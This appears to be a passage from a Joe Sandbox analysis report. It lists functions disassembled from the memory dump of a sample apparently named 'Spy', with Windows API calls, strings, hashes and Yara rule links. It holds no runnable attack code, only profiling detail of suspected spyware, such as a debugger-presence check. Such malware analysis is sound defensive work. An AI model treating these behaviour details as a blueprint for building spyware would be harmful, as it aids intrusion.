Part of subcall function 00A956F8: _wcscpy.LIBCMT ref: 00A957DB
Part of subcall function 00A956F8: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00A957EB

KillTimer.USER32(?,00000001,?,?), ref: 00A95BAD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00A95BBC
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00AD0D7C

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 45f1a08b0b2f8c45f3653ea3bb62872d7ac0ce1f0c9540b0b56981c854d1ef12
Instruction ID: 2434d53b0e052c893afc95c7c01e6df99d43c61fdcfd5c36a04f7902e3e1bffb
Opcode Fuzzy Hash: 45f1a08b0b2f8c45f3653ea3bb62872d7ac0ce1f0c9540b0b56981c854d1ef12
Instruction Fuzzy Hash: F421C8709047849FEB738B74C895FEABBECAF02304F44448EE6DA57281D7746984CB51

Function 00A9278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00A949C2: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00A927AF,?,00000001), ref: 00A949F4

_free.LIBCMT ref: 00ACFB04
_free.LIBCMT ref: 00ACFB4B

Part of subcall function 00A929BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00A92ADF

Strings

Bad directive syntax error, xrefs: 00ACFB33

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: Bad directive syntax error
API String ID: 2861923089-2118420937
Opcode ID: ed8a43b03ed0a925d6fa7187147bd0c411a2e36184406c5a7e243da277ad45a6
Instruction ID: ee2f370c5059b831a159cdd7179388dda78d306db24246ec39d44adbb0cf880b
Opcode Fuzzy Hash: ed8a43b03ed0a925d6fa7187147bd0c411a2e36184406c5a7e243da277ad45a6
Instruction Fuzzy Hash: E1916B71A10219AFCF04EFA4CD91EEEB7B5BF09350F11456EF816AB2A1DB309A45CB50

Function 00AE9CF1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00A94AB2: __fread_nolock.LIBCMT ref: 00A94AD0

_wcscmp.LIBCMT ref: 00AE9DE1
_wcscmp.LIBCMT ref: 00AE9DF4

Strings

FILE, xrefs: 00AE9D2D

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 433aab2db2a342eaeb880a30f773e082e6ec30abf2b40660509aa95a7cc9d719
Instruction ID: 0cd6c9a101b7b1f743df88673f323275b6407b770727c518d9ff3ff4b2016e80
Opcode Fuzzy Hash: 433aab2db2a342eaeb880a30f773e082e6ec30abf2b40660509aa95a7cc9d719
Instruction Fuzzy Hash: 2141F872A40349BADF20EBA5CC45FEF77FDDF49710F00446AFA00A7291D67199058764

Function 00A931BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00AD032B
GetOpenFileNameW.COMDLG32(?), ref: 00AD0375

Part of subcall function 00AA0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00A92A58,?,00008000), ref: 00AA02A4

Part of subcall function 00AA09C5: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00AA09E4

Strings

X, xrefs: 00AD0343

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: b23c11b563842ae8c936e7ab56465160b8bfb0556a05a5cfbbe8074357445ccc
Instruction ID: bf4bcfddf0cc8b1f7f13ad3c043b40bfe373e95ffee665ad3288ffa53cd4228b
Opcode Fuzzy Hash: b23c11b563842ae8c936e7ab56465160b8bfb0556a05a5cfbbe8074357445ccc
Instruction Fuzzy Hash: 4C219371A002989BDF41DF94C845BEE7BFCAF49300F10405AE405AB281DBB45A88DFA1

Function 00AFD1C6 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4df1a17df12034d0d3b802e69ad27c43391bee503d585affca226a6ed9a4614c
Instruction ID: 7073dba45ca925c7e9318dbc020a0177d1c4abced0bd9f47e163cbb674f95284
Opcode Fuzzy Hash: 4df1a17df12034d0d3b802e69ad27c43391bee503d585affca226a6ed9a4614c
Instruction Fuzzy Hash: 44F158706083459FC715EF68C580A6ABBE6FF88314F14892EF9999B351DB30E945CF82

Function 00A8AAAA Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 00AA07BB: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00AA07EC
Part of subcall function 00AA07BB: MapVirtualKeyW.USER32(00000010,00000000), ref: 00AA07F4
Part of subcall function 00AA07BB: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00AA07FF
Part of subcall function 00AA07BB: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00AA080A
Part of subcall function 00AA07BB: MapVirtualKeyW.USER32(00000011,00000000), ref: 00AA0812
Part of subcall function 00AA07BB: MapVirtualKeyW.USER32(00000012,00000000), ref: 00AA081A

Part of subcall function 00A9FF4C: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00A8AC6B), ref: 00A9FFA7

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00A8AD08
OleInitialize.OLE32(00000000), ref: 00A8AD85
CloseHandle.KERNEL32(00000000), ref: 00AC2F56

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: b9d705b28f7bf60f09c0ac731529a1f8f35173a413452facb1e4fcb4a1bf8c1e
Instruction ID: 3c4b98b73b8a409178b193d3ab379d35634962d58b7c5eebf0d85ca70a4fcba4
Opcode Fuzzy Hash: b9d705b28f7bf60f09c0ac731529a1f8f35173a413452facb1e4fcb4a1bf8c1e
Instruction Fuzzy Hash: 0781ECB9A9C2408FC384EF39AD446657FE8FB5A31435089AAD418C7372EF300A49DF94

Function 00A959D3 Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A959F9
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00A95A9E
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00A95ABB

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 3392c8e2d911915b522ed3a01b7a1fa975dd161797bdfcb0ce78d07d0ceb4b47
Instruction ID: 534e0e9a215835a714b938f2f504c9a0ea7e5f1b9fe8d750e8796cfc95960e9b
Opcode Fuzzy Hash: 3392c8e2d911915b522ed3a01b7a1fa975dd161797bdfcb0ce78d07d0ceb4b47
Instruction Fuzzy Hash: 57319974A057018FDB21DF34D8C9697BBF4FB4A344F000A2EF69A87250DBB1A944CB56

Function 00AA593C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00AA5953

Part of subcall function 00AAA39B: __NMSG_WRITE.LIBCMT ref: 00AAA3C2
Part of subcall function 00AAA39B: __NMSG_WRITE.LIBCMT ref: 00AAA3CC

__NMSG_WRITE.LIBCMT ref: 00AA595A

Part of subcall function 00AAA3F8: GetModuleFileNameW.KERNEL32(00000000,00B453BA,00000104,00000004,00000001,00AA1003), ref: 00AAA48A
Part of subcall function 00AAA3F8: ___crtMessageBoxW.LIBCMT ref: 00AAA538

Part of subcall function 00AA32CF: ___crtCorExitProcess.LIBCMT ref: 00AA32D5
Part of subcall function 00AA32CF: ExitProcess.KERNEL32 ref: 00AA32DE

Part of subcall function 00AA8D58: __getptd_noexit.LIBCMT ref: 00AA8D58

RtlAllocateHeap.NTDLL(01380000,00000000,00000001,?,00000004,?,?,00AA1003,?), ref: 00AA597F

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 7796bb318a61f804231a6843417501fdeba8b68dd3db4ea0eb27d8b485577bfc
Instruction ID: 9f90a04531d1d2afcbf27843da9120a9f1e883670100dce9422282e7f93a0bad
Opcode Fuzzy Hash: 7796bb318a61f804231a6843417501fdeba8b68dd3db4ea0eb27d8b485577bfc
Instruction Fuzzy Hash: 4101D236A01F02EFEA152B349902A6F33589F53770F51042BF514AF1D2DFB08D404669

Function 00AE92C8 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00AE92D6

Part of subcall function 00AA2F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00AA9C54,00000000,00AA8D5D,00AA59C3), ref: 00AA2F99
Part of subcall function 00AA2F85: GetLastError.KERNEL32(00000000,?,00AA9C54,00000000,00AA8D5D,00AA59C3), ref: 00AA2FAB

_free.LIBCMT ref: 00AE92E7
_free.LIBCMT ref: 00AE92F9

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction ID: 96d889ea7ad0cd6f1fa102ddfb50637997f48cdd2bf422d3839e25c8bdfb557c
Opcode Fuzzy Hash: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction Fuzzy Hash: 78E0C2A12047025BCE20AB3D6A40FE777EC0F88311B14040DB509D3182CF20E8608228

Function 00A85E83 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 551COMMON

Download Yara Rule

Strings

CALL, xrefs: 00ABE234

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 4167996e45ce1d92f360b9f10180c524af34cb8dfc7f153cea4a28e61aecbf13
Instruction ID: 80c9c12b20d0aa93fcdfa3e436e25c35eba3435cbf869b002988999b435959ea
Opcode Fuzzy Hash: 4167996e45ce1d92f360b9f10180c524af34cb8dfc7f153cea4a28e61aecbf13
Instruction Fuzzy Hash: 98325874608341DFDB24EF24C594A6ABBF1BF84344F15896DE88A9B362D731EC45CB82

Function 00A948B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00A948FA

Strings

EA06, xrefs: 00AD08A1

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: 43f9847e0d59c24a3c85332b24978b90315b54145a87de78ee67723e1edc0a41
Instruction ID: 99f5eb2fd800f175c8661555911cbeba80e9fd498d8e547ed4dadf7df7e15572
Opcode Fuzzy Hash: 43f9847e0d59c24a3c85332b24978b90315b54145a87de78ee67723e1edc0a41
Instruction Fuzzy Hash: B0416A32F042585BDF219B648951FBF7FF58B5E300F684075E882EB386D6208D8693E2

Function 00AFE139 Relevance: 3.2, APIs: 2, Instructions: 227COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 00AFE20C

Part of subcall function 00A84D37: __itow.LIBCMT ref: 00A84D62
Part of subcall function 00A84D37: __swprintf.LIBCMT ref: 00A84DAC

_wcscpy.LIBCMT ref: 00AFE29B

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: __itow__swprintf_strcat_wcscpy
String ID:
API String ID: 1012013722-0
Opcode ID: 4b268954e1d747ad72aa9fbf09e9e4056c870071c58c02ef57f8698c7b546aae
Instruction ID: 6ec6bc70f411e8e53f1e9663a145d43fa9f67ac4ed0e74a6b0dee7ab0130d6d3
Opcode Fuzzy Hash: 4b268954e1d747ad72aa9fbf09e9e4056c870071c58c02ef57f8698c7b546aae
Instruction Fuzzy Hash: 8D912735A00608DFCB28EF68C5859A9B7F5FF59310B55815AF90A8F3A2DB30ED51CB81

Function 00AA0E38 Relevance: 3.1, APIs: 2, Instructions: 94processCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00AA0ED5
CreateToolhelp32Snapshot.KERNEL32 ref: 00AA0EE7

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CloseCreateHandleSnapshotToolhelp32
String ID:
API String ID: 3280610774-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: faf0e8abd85e8a6ad99b83854a581be77d23f9226f929786359fd89049be1482
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: B031C571A00109DFDB28DF58C480969FBB6FF5A300B648AA5E409DB291E731EDC1DBC0

Function 00A95F8B Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00A95FEF

Part of subcall function 00AA359C: __lock.LIBCMT ref: 00AA35A2
Part of subcall function 00AA359C: DecodePointer.KERNEL32(00000001,?,00A96004,00AD8892), ref: 00AA35AE
Part of subcall function 00AA359C: EncodePointer.KERNEL32(?,?,00A96004,00AD8892), ref: 00AA35B9

Part of subcall function 00A95F00: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00A95F18
Part of subcall function 00A95F00: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00A95F2D

Part of subcall function 00A95240: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00A9526C
Part of subcall function 00A95240: IsDebuggerPresent.KERNEL32 ref: 00A9527E
Part of subcall function 00A95240: GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00A952E6
Part of subcall function 00A95240: SetCurrentDirectoryW.KERNEL32(?), ref: 00A95366

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 00A9602F

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 95b4ed0e87b1f3f4ea78951d903415ee9dd0b63a5310bdd6718c992230dca05b
Instruction ID: 98b4262840d1a1a71c66b6c879fbe8d72cd1dc63fcaad8cb08865a88c9542512
Opcode Fuzzy Hash: 95b4ed0e87b1f3f4ea78951d903415ee9dd0b63a5310bdd6718c992230dca05b
Instruction Fuzzy Hash: 99115E759083029BC711EF69ED4594ABBE8FF9A750F00891EF485872A1DFB09A44CF92

Function 00A942F9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,?,?,00A93E72,?,?,?,00000000), ref: 00A94327
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,00000000,?,?,00A93E72,?,?,?,00000000), ref: 00AD0717

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ea89e097f020d5e50f65688e1598472f1341ad18f79eb9c7add358bf13edbce6
Instruction ID: f1eb434af676f5d9c3dce304a3ff6b8390e81bfe0962f15d4802803a82ff4240
Opcode Fuzzy Hash: ea89e097f020d5e50f65688e1598472f1341ad18f79eb9c7add358bf13edbce6
Instruction Fuzzy Hash: E9014470244209BEF7241E248C86FA67ADCEB05768F50C315BAE56A1D0DAB55C568B14

Function 00AA0FE6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AA593C: __FF_MSGBANNER.LIBCMT ref: 00AA5953
Part of subcall function 00AA593C: __NMSG_WRITE.LIBCMT ref: 00AA595A
Part of subcall function 00AA593C: RtlAllocateHeap.NTDLL(01380000,00000000,00000001,?,00000004,?,?,00AA1003,?), ref: 00AA597F

std::exception::exception.LIBCMT ref: 00AA101C
__CxxThrowException@8.LIBCMT ref: 00AA1031

Part of subcall function 00AA87CB: RaiseException.KERNEL32(?,?,?,00B3CAF8,?,?,?,?,?,00AA1036,?,00B3CAF8,?,00000001), ref: 00AA8820

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: b9776d81190ba80065ba9c5b5f5b4b1e00f2720d247f70e2e3a56b731adb7415
Instruction ID: c29012550bc96f7a9a38a9381752da7bd97df58876ccca8df5265c61e2648757
Opcode Fuzzy Hash: b9776d81190ba80065ba9c5b5f5b4b1e00f2720d247f70e2e3a56b731adb7415
Instruction Fuzzy Hash: 02F0A47650421DB6CB21ABA8ED159DE7BFC9F02760F50446AF814A72D1EFB18BC0C2A4

Function 00AA581D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00AA584C
__lock_file.LIBCMT ref: 00AA586D

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 70dfe4c7473eb6f941a97d5a7ab449bfac797b3aee8241ce1b8663f59600b234
Instruction ID: bc1658cc3be21eae7208c755f9325cfd17512aa16dbe5b73a5d040d64805d1c8
Opcode Fuzzy Hash: 70dfe4c7473eb6f941a97d5a7ab449bfac797b3aee8241ce1b8663f59600b234
